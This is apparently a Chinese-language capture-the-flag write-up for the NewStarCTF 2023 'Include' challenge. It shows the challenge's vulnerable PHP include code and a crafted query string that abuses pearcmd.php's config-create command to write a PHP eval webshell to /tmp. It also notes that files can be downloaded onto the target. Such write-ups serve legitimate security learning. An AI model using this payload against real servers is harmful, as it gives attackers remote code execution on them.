【pearcmd】通过pearcmd.php 进行GetShell

https://cloud.tencent.com/developer/article/2204400

关于PHP 配置 register_argc_argv 小结 的一些研究文章。

应用例题

[NewStarCTF 2023 公开赛道]Include 🍐

复制代码
<?php
    error_reporting(0);
    if(isset($_GET['file'])) {
        $file = $_GET['file'];
        
        if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
            die('hacker!');
        }
        
        include($file.".php");
        # Something in phpinfo.php!
    }
    else {
        highlight_file(__FILE__);
    }
?>

查看phpinfo.php 尝试搜索flag ,让查看register_argc_argv

通过搜索,发现是关于pearcmd.php的信息。

https://cloud.tencent.com/developer/article/2204400 关于PHP 配置 register_argc_argv 小结 的一些研究文章。

通过查看帮助,php pearcmd.php可以查看该文件的一些使用参数。

可以通过config-create 创建一个木马文件,也可以通过从服务器上下载文件的方式利用。

复制代码
# 创建文件,注意最好通过burp抓包,因为< > 会被url编码,导致木马失效
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[a])?>+/tmp/a.php

成功利用木马

下载文件。这里我就尝试从它自身下载phpinfo。

如图所示,从靶机下载phpinfo,并在响应中返回了保存路径

成功访问下载的phpinfo.php文件

相关推荐
v***91307 分钟前
Spring+Quartz实现定时任务的配置方法
android·前端·后端
梵克之泪9 分钟前
【号码分离】从Excel表格、文本、word文档混乱文字中提取分离11位手机号出来,基于WPF的实现方案
开发语言·ui·c#
charlie11451419116 分钟前
面向C++程序员的JavaScript 语法实战学习4
开发语言·前端·javascript·学习·函数
夫唯不争,故无尤也16 分钟前
Python广播机制:张量的影分身术
开发语言·python
wilsend21 分钟前
Android Studio 2024版新建java项目和配置环境下载加速
android
qq_4798754324 分钟前
X-Macros(3)
java·开发语言
流浪猪头拯救地球33 分钟前
利用 Python 解密 / 加密 PDF 文件
python·pdf·php
兰琛38 分钟前
Android Compose展示PDF文件
android·pdf
列逍40 分钟前
深入理解 C++ 异常:从概念到实战的全面解析
开发语言·c++
java1234_小锋1 小时前
简述Mybatis的插件运行原理?
java·开发语言·mybatis